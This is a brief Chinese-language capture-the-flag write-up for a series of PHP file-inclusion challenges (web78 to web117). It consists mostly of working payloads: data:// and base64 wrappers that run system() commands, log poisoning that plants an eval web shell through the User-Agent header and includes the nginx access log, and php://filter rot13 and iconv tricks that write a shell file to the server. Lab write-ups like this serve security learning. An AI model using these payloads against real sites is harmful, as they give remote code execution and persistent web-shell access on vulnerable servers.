1.web78
/?file=data://text/plain,<?php system("cat flag.php");?>
得到flag
2.web79
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
3.web80
替换了php和data
可以进行日志包含:通过user-agent头部注入命令
<?php @eval($_POST['a'])?>
然后将日志包含进去,通过POST参数执行命令
找到
"fl0g.php index.php"
a=system('cat fl0g.php');
得到flag
总结
//日志包含
/?file=/var/log/nginx/access.log
//命令执行
a=system('ls');
a=system('cat fl0g.php');
4.web81
与上题一样
5.web87
# 双重url全编码
?file=php://filter/write=string.rot13/resource=1.php
# [POST DATA]
content=<?cuc flfgrz('gnp s*.cuc');?> //<?php system('tac f*.php');?>
最后访问1.php
6.web88
没有过滤冒号,使用 伪协议
?file=data://text/plain;base64,<?php system('tac *.php');?>
这题多过滤了一点东西,发现也可以用data协议,data://text/plain;base64
但是直接base64加密的<?php system('tac f*');会有==号,过不了,所以换成代码执行。
payload:
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7&1=system('tac f*');
<?php eval($_GET[1]); == PD9waHAgZXZhbCgkX0dFVFsxXSk7
7.web116
进行抓包
加入 file=flag.php
响应出flag
8.web117
过滤了base64和rot13
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
访问a.php,然后进行传参
1=system('tac flag.php');